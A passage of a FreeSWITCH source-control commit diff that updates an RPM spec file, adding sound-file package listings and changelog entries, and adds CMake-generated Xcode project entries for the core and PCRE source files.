+%{prefix}/sounds/en/us/callie/time/32000/*
+%{prefix}/sounds/en/us/callie/voicemail/32000/*
+%{prefix}/sounds/en/us/callie/zrtp/32000/*
+
+
+%files cd-sounds-en-callie
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/en/us/callie/ascii/48000
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/en/us/callie/base256/48000
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/en/us/callie/conference/48000
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/en/us/callie/currency/48000
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/en/us/callie/digits/48000
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/en/us/callie/ivr/48000
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/en/us/callie/misc/48000
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/en/us/callie/phonetic-ascii/48000
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/en/us/callie/time/48000
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/en/us/callie/voicemail/48000
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/en/us/callie/zrtp/48000
+%{prefix}/sounds/en/us/callie/ascii/48000/*
+%{prefix}/sounds/en/us/callie/base256/48000/*
+%{prefix}/sounds/en/us/callie/conference/48000/*
+%{prefix}/sounds/en/us/callie/currency/48000/*
+%{prefix}/sounds/en/us/callie/digits/48000/*
+%{prefix}/sounds/en/us/callie/ivr/48000/*
+%{prefix}/sounds/en/us/callie/misc/48000/*
+%{prefix}/sounds/en/us/callie/phonetic-ascii/48000/*
+%{prefix}/sounds/en/us/callie/time/48000/*
+%{prefix}/sounds/en/us/callie/voicemail/48000/*
+%{prefix}/sounds/en/us/callie/zrtp/48000/*
+
+
 %changelog
+* Tue Jul 24 2009 - mike@jerris.com
+- removed mod_http
+- removed ozmod_wanpipe
+* Tue Jun 23 2009 - raulfragoso@gmail.com
+- Adjusted for the latest SVN trunk (13912)
+- Included new config and mod files to catch up with latest SVN
+- Included new sound files for base256 and zrtp
+- mod_unimrcp must be built after mod_sofia
+* Mon Feb 17 2009 - michal.bielicki@halokwadrat.de
+- added mod_python
+- added mod_fax
+- added mod_amrwb.so
+- added mod_celt.so
+- added mod_easyroute.so
+- added mod_http.so
+- added mod_lcr.so
+- added mod_loopback.so
+- added mod_siren.so
+- added mod/mod_stress.so
+- added mod_yaml.so
+- added mod_shout.so
+- added rpms or all sounds
+- openzap is now its own rpm
+- added french
+- added german
+- added missing dependencies
+- added soundfiles with separate rpms
+- added definition of all sourcefiles and added them to the SRPM
+- fixes to monit file
+- changes to redhat init file
 * Thu May 22 2008 - michal.bielicki@voiceworks.pl
 - disabled beta class language stuff
 - bumped revision up to rc6

Modified: freeswitch/branches/seven/freeswitch.xcodeproj/project.pbxproj (14471 => 14472)


--- freeswitch/branches/seven/freeswitch.xcodeproj/project.pbxproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/freeswitch.xcodeproj/project.pbxproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -6,57 +6,2561 @@
 	objectVersion = 42;
 	objects = {
 
+/* Begin PBXAggregateTarget section */
+		492050492050492050000000 /* ALL_BUILD */ = {
+			isa = PBXAggregateTarget;
+			buildConfigurationList = 493290493290493290000000 /* Build configuration list for PBXAggregateTarget "ALL_BUILD" */;
+			buildPhases = (
+				492230492230492230000000 /* CMake ReRun */,
+				492920492920492920000000 /* CMake Rules */,
+			);
+			dependencies = (
+				629320629320629320000000 /* PBXTargetDependency */,
+				629A30629A30629A30000000 /* PBXTargetDependency */,
+				62A1F062A1F062A1F0000000 /* PBXTargetDependency */,
+				62A96062A96062A960000000 /* PBXTargetDependency */,
+				62B0E062B0E062B0E0000000 /* PBXTargetDependency */,
+				62B83062B83062B830000000 /* PBXTargetDependency */,
+			);
+			name = ALL_BUILD;
+			productName = ALL_BUILD;
+		};
+/* End PBXAggregateTarget section */
+
+/* Begin PBXBuildFile section */
+		499420499420499420000000 /* switch.c in Sources */ = {isa = PBXBuildFile; fileRef = 499250499250499250000000 /* switch.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4A38304A38304A3830000000 /* switch_apr.c in Sources */ = {isa = PBXBuildFile; fileRef = 4A36304A36304A3630000000 /* switch_apr.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4A42704A42704A4270000000 /* switch_buffer.c in Sources */ = {isa = PBXBuildFile; fileRef = 4A3DB04A3DB04A3DB0000000 /* switch_buffer.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4A4D304A4D304A4D30000000 /* switch_caller.c in Sources */ = {isa = PBXBuildFile; fileRef = 4A48704A48704A4870000000 /* switch_caller.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4A58104A58104A5810000000 /* switch_channel.c in Sources */ = {isa = PBXBuildFile; fileRef = 4A53304A53304A5330000000 /* switch_channel.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4A62D04A62D04A62D0000000 /* switch_console.c in Sources */ = {isa = PBXBuildFile; fileRef = 4A5DF04A5DF04A5DF0000000 /* switch_console.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4A6DE04A6DE04A6DE0000000 /* switch_core_media_bug.c in Sources */ = {isa = PBXBuildFile; fileRef = 4A68D04A68D04A68D0000000 /* switch_core_media_bug.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4A79004A79004A7900000000 /* switch_core_timer.c in Sources */ = {isa = PBXBuildFile; fileRef = 4A78304A78304A7830000000 /* switch_core_timer.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4A83504A83504A8350000000 /* switch_core_asr.c in Sources */ = {isa = PBXBuildFile; fileRef = 4A7E704A7E704A7E70000000 /* switch_core_asr.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4A8EA04A8EA04A8EA0000000 /* switch_core_event_hook.c in Sources */ = {isa = PBXBuildFile; fileRef = 4A89304A89304A8930000000 /* switch_core_event_hook.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4A9A104A9A104A9A10000000 /* switch_core_speech.c in Sources */ = {isa = PBXBuildFile; fileRef = 4A98604A98604A9860000000 /* switch_core_speech.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4AA4504AA4504AA450000000 /* switch_core_memory.c in Sources */ = {isa = PBXBuildFile; fileRef = 4AA3804AA3804AA380000000 /* switch_core_memory.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4AAF004AAF004AAF00000000 /* switch_core_codec.c in Sources */ = {isa = PBXBuildFile; fileRef = 4AAE304AAE304AAE30000000 /* switch_core_codec.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4AB9504AB9504AB950000000 /* switch_core_file.c in Sources */ = {isa = PBXBuildFile; fileRef = 4AB4704AB4704AB470000000 /* switch_core_file.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4AC4104AC4104AC410000000 /* switch_core_hash.c in Sources */ = {isa = PBXBuildFile; fileRef = 4ABF304ABF304ABF30000000 /* switch_core_hash.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4ACED04ACED04ACED0000000 /* switch_core_sqldb.c in Sources */ = {isa = PBXBuildFile; fileRef = 4AC9F04AC9F04AC9F0000000 /* switch_core_sqldb.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4AD9904AD9904AD990000000 /* switch_core_session.c in Sources */ = {isa = PBXBuildFile; fileRef = 4AD4B04AD4B04AD4B0000000 /* switch_core_session.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4AE5404AE5404AE540000000 /* switch_core_directory.c in Sources */ = {isa = PBXBuildFile; fileRef = 4AE3E04AE3E04AE3E0000000 /* switch_core_directory.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4AF0304AF0304AF030000000 /* switch_core_state_machine.c in Sources */ = {isa = PBXBuildFile; fileRef = 4AEF504AEF504AEF50000000 /* switch_core_state_machine.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4AFA904AFA904AFA90000000 /* switch_core_io.c in Sources */ = {isa = PBXBuildFile; fileRef = 4AEFC04AEFC04AEFC0000000 /* switch_core_io.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4B05104B05104B0510000000 /* switch_core_rwlock.c in Sources */ = {isa = PBXBuildFile; fileRef = 4B00304B00304B0030000000 /* switch_core_rwlock.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4B10404B10404B1040000000 /* switch_core_port_allocator.c in Sources */ = {isa = PBXBuildFile; fileRef = 4B0F604B0F604B0F60000000 /* switch_core_port_allocator.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4B1B204B1B204B1B20000000 /* switch_core.c in Sources */ = {isa = PBXBuildFile; fileRef = 4B0FD04B0FD04B0FD0000000 /* switch_core.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4B25404B25404B2540000000 /* switch_scheduler.c in Sources */ = {isa = PBXBuildFile; fileRef = 4B20604B20604B2060000000 /* switch_scheduler.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4B30004B30004B3000000000 /* switch_core_db.c in Sources */ = {isa = PBXBuildFile; fileRef = 4B2B204B2B204B2B20000000 /* switch_core_db.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4B3B204B3B204B3B20000000 /* switch_dso.c in Sources */ = {isa = PBXBuildFile; fileRef = 4B35E04B35E04B35E0000000 /* switch_dso.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4B45904B45904B4590000000 /* switch_loadable_module.c in Sources */ = {isa = PBXBuildFile; fileRef = 4B40A04B40A04B40A0000000 /* switch_loadable_module.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4B50904B50904B5090000000 /* switch_utils.c in Sources */ = {isa = PBXBuildFile; fileRef = 4B4FC04B4FC04B4FC0000000 /* switch_utils.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4B5B204B5B204B5B20000000 /* switch_event.c in Sources */ = {isa = PBXBuildFile; fileRef = 4B56404B56404B5640000000 /* switch_event.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4B65E04B65E04B65E0000000 /* switch_resample.c in Sources */ = {isa = PBXBuildFile; fileRef = 4B61004B61004B6100000000 /* switch_resample.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4B70A04B70A04B70A0000000 /* switch_regex.c in Sources */ = {isa = PBXBuildFile; fileRef = 4B6BC04B6BC04B6BC0000000 /* switch_regex.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4B7BC04B7BC04B7BC0000000 /* switch_rtp.c in Sources */ = {isa = PBXBuildFile; fileRef = 4B76804B76804B7680000000 /* switch_rtp.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4B86204B86204B8620000000 /* switch_ivr_bridge.c in Sources */ = {isa = PBXBuildFile; fileRef = 4B81404B81404B8140000000 /* switch_ivr_bridge.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4B90C04B90C04B90C0000000 /* switch_ivr_originate.c in Sources */ = {isa = PBXBuildFile; fileRef = 4B8C004B8C004B8C00000000 /* switch_ivr_originate.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4B9CE04B9CE04B9CE0000000 /* switch_ivr_async.c in Sources */ = {isa = PBXBuildFile; fileRef = 4AEED04AEED04AEED0000000 /* switch_ivr_async.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4BA7704BA7704BA770000000 /* switch_ivr_play_say.c in Sources */ = {isa = PBXBuildFile; fileRef = 4BA2904BA2904BA290000000 /* switch_ivr_play_say.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4BB2904BB2904BB290000000 /* switch_ivr_menu.c in Sources */ = {isa = PBXBuildFile; fileRef = 4BB1C04BB1C04BB1C0000000 /* switch_ivr_menu.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4BBD404BBD404BBD40000000 /* switch_ivr.c in Sources */ = {isa = PBXBuildFile; fileRef = 4BB8004BB8004BB800000000 /* switch_ivr.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4BC8004BC8004BC800000000 /* switch_stun.c in Sources */ = {isa = PBXBuildFile; fileRef = 4BC2C04BC2C04BC2C0000000 /* switch_stun.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4BD2C04BD2C04BD2C0000000 /* switch_log.c in Sources */ = {isa = PBXBuildFile; fileRef = 4BCD804BCD804BCD80000000 /* switch_log.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4BDD804BDD804BDD80000000 /* switch_xml.c in Sources */ = {isa = PBXBuildFile; fileRef = 4BD8404BD8404BD840000000 /* switch_xml.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4BE7E04BE7E04BE7E0000000 /* switch_config.c in Sources */ = {isa = PBXBuildFile; fileRef = 4BE3004BE3004BE300000000 /* switch_config.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4BF3004BF3004BF300000000 /* switch_time.c in Sources */ = {isa = PBXBuildFile; fileRef = 4BEDC04BEDC04BEDC0000000 /* switch_time.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4BFDC04BFDC04BFDC0000000 /* stfu.c in Sources */ = {isa = PBXBuildFile; fileRef = 4BF8804BF8804BF880000000 /* stfu.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4C08204C08204C0820000000 /* switch_cpp.cpp in Sources */ = {isa = PBXBuildFile; fileRef = 4C03404C03404C0340000000 /* switch_cpp.cpp */; settings = {COMPILER_FLAGS = ""; }; };
+		4C12A04C12A04C12A0000000 /* g711.c in Sources */ = {isa = PBXBuildFile; fileRef = 4C0E004C0E004C0E00000000 /* g711.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4C1DA04C1DA04C1DA0000000 /* switch_pcm.c in Sources */ = {isa = PBXBuildFile; fileRef = 4C1CB04C1CB04C1CB0000000 /* switch_pcm.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4C28004C28004C2800000000 /* libteletone_detect.c in Sources */ = {isa = PBXBuildFile; fileRef = 4C23004C23004C2300000000 /* libteletone_detect.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4C33304C33304C3330000000 /* libteletone_generate.c in Sources */ = {isa = PBXBuildFile; fileRef = 4C27704C27704C2770000000 /* libteletone_generate.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4E2E004E2E004E2E00000000 /* resample.c in Sources */ = {isa = PBXBuildFile; fileRef = 4CF2804CF2804CF280000000 /* resample.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4E38C04E38C04E38C0000000 /* filterkit.c in Sources */ = {isa = PBXBuildFile; fileRef = 4E37F04E37F04E37F0000000 /* filterkit.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4E43704E43704E4370000000 /* resamplesubs.c in Sources */ = {isa = PBXBuildFile; fileRef = 4E42704E42704E4270000000 /* resamplesubs.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4EF3004EF3004EF300000000 /* libteletone_detect.c in Sources */ = {isa = PBXBuildFile; fileRef = 4C23004C23004C2300000000 /* libteletone_detect.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4EFF804EFF804EFF80000000 /* libteletone_generate.c in Sources */ = {isa = PBXBuildFile; fileRef = 4C27704C27704C2770000000 /* libteletone_generate.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4FA6604FA6604FA660000000 /* pcre_compile.c in Sources */ = {isa = PBXBuildFile; fileRef = 4FA4804FA4804FA480000000 /* pcre_compile.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4FB0F04FB0F04FB0F0000000 /* pcre_tables.c in Sources */ = {isa = PBXBuildFile; fileRef = 4FABD04FABD04FABD0000000 /* pcre_tables.c */; settings = {COMPILER_FLAGS = ""; }; };
+		4FBB504FBB504FBB50000000 /* pcre_config.c in Sources */ = {isa = PBXBuildFile; fileRef = 4FB6904FB6904FB690000000 /* pcre_config.c */; settings = {COMPILER_FLAGS = ""; }; };
+		600670600670600670000000 /* pcre_try_flipped.c in Sources */ = {isa = PBXBuildFile; fileRef = 600100600100600100000000 /* pcre_try_flipped.c */; settings = {COMPILER_FLAGS = ""; }; };
+		601100601100601100000000 /* pcre_dfa_exec.c in Sources */ = {isa = PBXBuildFile; fileRef = 601010601010601010000000 /* pcre_dfa_exec.c */; settings = {COMPILER_FLAGS = ""; }; };
+		601C70601C70601C70000000 /* pcre_ucp_searchfuncs.c in Sources */ = {isa = PBXBuildFile; fileRef = 6016C06016C06016C0000000 /* pcre_ucp_searchfuncs.c */; settings = {COMPILER_FLAGS = ""; }; };
+		6026C06026C06026C0000000 /* pcre_exec.c in Sources */ = {isa = PBXBuildFile; fileRef = 602600602600602600000000 /* pcre_exec.c */; settings = {COMPILER_FLAGS = ""; }; };
+		603130603130603130000000 /* pcre_valid_utf8.c in Sources */ = {isa = PBXBuildFile; fileRef = 602C70602C70602C70000000 /* pcre_valid_utf8.c */; settings = {COMPILER_FLAGS = ""; }; };
+		603C90603C90603C90000000 /* pcre_fullinfo.c in Sources */ = {isa = PBXBuildFile; fileRef = 603740603740603740000000 /* pcre_fullinfo.c */; settings = {COMPILER_FLAGS = ""; }; };
+		6047C06047C06047C0000000 /* pcre_version.c in Sources */ = {isa = PBXBuildFile; fileRef = 604220604220604220000000 /* pcre_version.c */; settings = {COMPILER_FLAGS = ""; }; };
+		605220605220605220000000 /* dftables.c in Sources */ = {isa = PBXBuildFile; fileRef = 604690604690604690000000 /* dftables.c */; settings = {COMPILER_FLAGS = ""; }; };
+		605CB0605CB0605CB0000000 /* pcre_get.c in Sources */ = {isa = PBXBuildFile; fileRef = 605790605790605790000000 /* pcre_get.c */; settings = {COMPILER_FLAGS = ""; }; };
+		606780606780606780000000 /* pcre_xclass.c in Sources */ = {isa = PBXBuildFile; fileRef = 606230606230606230000000 /* pcre_xclass.c */; settings = {COMPILER_FLAGS = ""; }; };
+		607240607240607240000000 /* pcre_globals.c in Sources */ = {isa = PBXBuildFile; fileRef = 606CF0606CF0606CF0000000 /* pcre_globals.c */; settings = {COMPILER_FLAGS = ""; }; };
+		607C60607C60607C60000000 /* pcre_info.c in Sources */ = {isa = PBXBuildFile; fileRef = 6077B06077B06077B0000000 /* pcre_info.c */; settings = {COMPILER_FLAGS = ""; }; };
+		609CD0609CD0609CD0000000 /* pcre_maketables.c in Sources */ = {isa = PBXBuildFile; fileRef = 609810609810609810000000 /* pcre_maketables.c */; settings = {COMPILER_FLAGS = ""; }; };
+		60B26060B26060B260000000 /* pcre_ord2utf8.c in Sources */ = {isa = PBXBuildFile; fileRef = 60ADA060ADA060ADA0000000 /* pcre_ord2utf8.c */; settings = {COMPILER_FLAGS = ""; }; };
+		60B8B060B8B060B8B0000000 /* stfu.c in Sources */ = {isa = PBXBuildFile; fileRef = 4BF8804BF8804BF880000000 /* stfu.c */; settings = {COMPILER_FLAGS = ""; }; };
+		60BDE060BDE060BDE0000000 /* pcredemo.c in Sources */ = {isa = PBXBuildFile; fileRef = 60BD2060BD2060BD20000000 /* pcredemo.c */; settings = {COMPILER_FLAGS = ""; }; };
+		60C8C060C8C060C8C0000000 /* pcre_refcount.c in Sources */ = {isa = PBXBuildFile; fileRef = 60C3A060C3A060C3A0000000 /* pcre_refcount.c */; settings = {COMPILER_FLAGS = ""; }; };
+		60D30060D30060D300000000 /* pcregrep.c in Sources */ = {isa = PBXBuildFile; fileRef = 60CE5060CE5060CE50000000 /* pcregrep.c */; settings = {COMPILER_FLAGS = ""; }; };
+		60DDC060DDC060DDC0000000 /* pcreposix.c in Sources */ = {isa = PBXBuildFile; fileRef = 60D91060D91060D910000000 /* pcreposix.c */; settings = {COMPILER_FLAGS = ""; }; };
+		60FE1060FE1060FE10000000 /* pcre_scanner_unittest.cc in Sources */ = {isa = PBXBuildFile; fileRef = 60F96060F96060F960000000 /* pcre_scanner_unittest.cc */; settings = {COMPILER_FLAGS = ""; }; };
+		610930610930610930000000 /* pcretest.c in Sources */ = {isa = PBXBuildFile; fileRef = 6108B06108B06108B0000000 /* pcretest.c */; settings = {COMPILER_FLAGS = ""; }; };
+		614A00614A00614A00000000 /* pcre_chartables.c in Sources */ = {isa = PBXBuildFile; fileRef = 613ED0613ED0613ED0000000 /* pcre_chartables.c */; settings = {COMPILER_FLAGS = ""; }; };
+/* End PBXBuildFile section */
+
+/* Begin PBXContainerItemProxy section */
+		628E90628E90628E90000000 /* PBXContainerItemProxy */ = {
+			isa = PBXContainerItemProxy;
+			containerPortal = 4904E04904E04904E0000000 /* Project object */;
+			proxyType = 1;
+			remoteGlobalIDString = 49B9E049B9E049B9E0000000;
+			remoteInfo = freeswitch;
+		};
+		6295B06295B06295B0000000 /* PBXContainerItemProxy */ = {
+			isa = PBXContainerItemProxy;
+			containerPortal = 4904E04904E04904E0000000 /* Project object */;
+			proxyType = 1;
+			remoteGlobalIDString = 4DA6F04DA6F04DA6F0000000;
+			remoteInfo = freeswitch_la;
+		};
+		629CF0629CF0629CF0000000 /* PBXContainerItemProxy */ = {
+			isa = PBXContainerItemProxy;
+			containerPortal = 4904E04904E04904E0000000 /* Project object */;
+			proxyType = 1;
+			remoteGlobalIDString = 616770616770616770000000;
+			remoteInfo = pcre;
+		};
+		62A46062A46062A460000000 /* PBXContainerItemProxy */ = {
+			isa = PBXContainerItemProxy;
+			containerPortal = 4904E04904E04904E0000000 /* Project object */;
+			proxyType = 1;
+			remoteGlobalIDString = 4E68704E68704E6870000000;
+			remoteInfo = resample;
+		};
+		62ABF062ABF062ABF0000000 /* PBXContainerItemProxy */ = {
+			isa = PBXContainerItemProxy;
+			containerPortal = 4904E04904E04904E0000000 /* Project object */;
+			proxyType = 1;
+			remoteGlobalIDString = 621070621070621070000000;
+			remoteInfo = stfu;
+		};
+		62B37062B37062B370000000 /* PBXContainerItemProxy */ = {
+			isa = PBXContainerItemProxy;
+			containerPortal = 4904E04904E04904E0000000 /* Project object */;
+			proxyType = 1;
+			remoteGlobalIDString = 4F22D04F22D04F22D0000000;
+			remoteInfo = teletone;
+		};
+/* End PBXContainerItemProxy section */
+
+/* Begin PBXFileReference section */
+		499250499250499250000000 /* switch.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = switch.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch.c"; sourceTree = "<absolute>"; };
+		4999A04999A04999A0000000 /* switch.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.h; name = switch.h; path = "/Users/shaneburrell/freeswitch-svn-real/src/include/switch.h"; sourceTree = "<absolute>"; };
+		4A2F104A2F104A2F10000000 /* freeswitch */ = {isa = PBXFileReference; explicitFileType = "compiled.mach-o.executable"; path = freeswitch; sourceTree = BUILT_PRODUCTS_DIR; };
+		4A36304A36304A3630000000 /* switch_apr.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = switch_apr.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch_apr.c"; sourceTree = "<absolute>"; };
+		4A3DB04A3DB04A3DB0000000 /* switch_buffer.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = switch_buffer.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch_buffer.c"; sourceTree = "<absolute>"; };
+		4A48704A48704A4870000000 /* switch_caller.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = switch_caller.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch_caller.c"; sourceTree = "<absolute>"; };
+		4A53304A53304A5330000000 /* switch_channel.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = switch_channel.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch_channel.c"; sourceTree = "<absolute>"; };
+		4A5DF04A5DF04A5DF0000000 /* switch_console.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = switch_console.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch_console.c"; sourceTree = "<absolute>"; };
+		4A68D04A68D04A68D0000000 /* switch_core_media_bug.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = switch_core_media_bug.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch_core_media_bug.c"; sourceTree = "<absolute>"; };
+		4A78304A78304A7830000000 /* switch_core_timer.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = switch_core_timer.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch_core_timer.c"; sourceTree = "<absolute>"; };
+		4A7E704A7E704A7E70000000 /* switch_core_asr.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = switch_core_asr.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch_core_asr.c"; sourceTree = "<absolute>"; };
+		4A89304A89304A8930000000 /* switch_core_event_hook.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = switch_core_event_hook.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch_core_event_hook.c"; sourceTree = "<absolute>"; };
+		4A98604A98604A9860000000 /* switch_core_speech.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = switch_core_speech.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch_core_speech.c"; sourceTree = "<absolute>"; };
+		4AA3804AA3804AA380000000 /* switch_core_memory.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = switch_core_memory.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch_core_memory.c"; sourceTree = "<absolute>"; };
+		4AAE304AAE304AAE30000000 /* switch_core_codec.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = switch_core_codec.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch_core_codec.c"; sourceTree = "<absolute>"; };
+		4AB4704AB4704AB470000000 /* switch_core_file.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = switch_core_file.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch_core_file.c"; sourceTree = "<absolute>"; };
+		4ABF304ABF304ABF30000000 /* switch_core_hash.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = switch_core_hash.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch_core_hash.c"; sourceTree = "<absolute>"; };
+		4AC9F04AC9F04AC9F0000000 /* switch_core_sqldb.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = switch_core_sqldb.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch_core_sqldb.c"; sourceTree = "<absolute>"; };
+		4AD4B04AD4B04AD4B0000000 /* switch_core_session.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = switch_core_session.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch_core_session.c"; sourceTree = "<absolute>"; };
+		4AE3E04AE3E04AE3E0000000 /* switch_core_directory.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = switch_core_directory.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch_core_directory.c"; sourceTree = "<absolute>"; };
+		4AEED04AEED04AEED0000000 /* switch_ivr_async.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = switch_ivr_async.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch_ivr_async.c"; sourceTree = "<absolute>"; };
+		4AEF504AEF504AEF50000000 /* switch_core_state_machine.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = switch_core_state_machine.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch_core_state_machine.c"; sourceTree = "<absolute>"; };
+		4AEFC04AEFC04AEFC0000000 /* switch_core_io.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = switch_core_io.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch_core_io.c"; sourceTree = "<absolute>"; };
+		4B00304B00304B0030000000 /* switch_core_rwlock.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = switch_core_rwlock.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch_core_rwlock.c"; sourceTree = "<absolute>"; };
+		4B0F604B0F604B0F60000000 /* switch_core_port_allocator.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = switch_core_port_allocator.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch_core_port_allocator.c"; sourceTree = "<absolute>"; };
+		4B0FD04B0FD04B0FD0000000 /* switch_core.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = switch_core.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch_core.c"; sourceTree = "<absolute>"; };
+		4B20604B20604B2060000000 /* switch_scheduler.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = switch_scheduler.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch_scheduler.c"; sourceTree = "<absolute>"; };
+		4B2B204B2B204B2B20000000 /* switch_core_db.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = switch_core_db.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch_core_db.c"; sourceTree = "<absolute>"; };
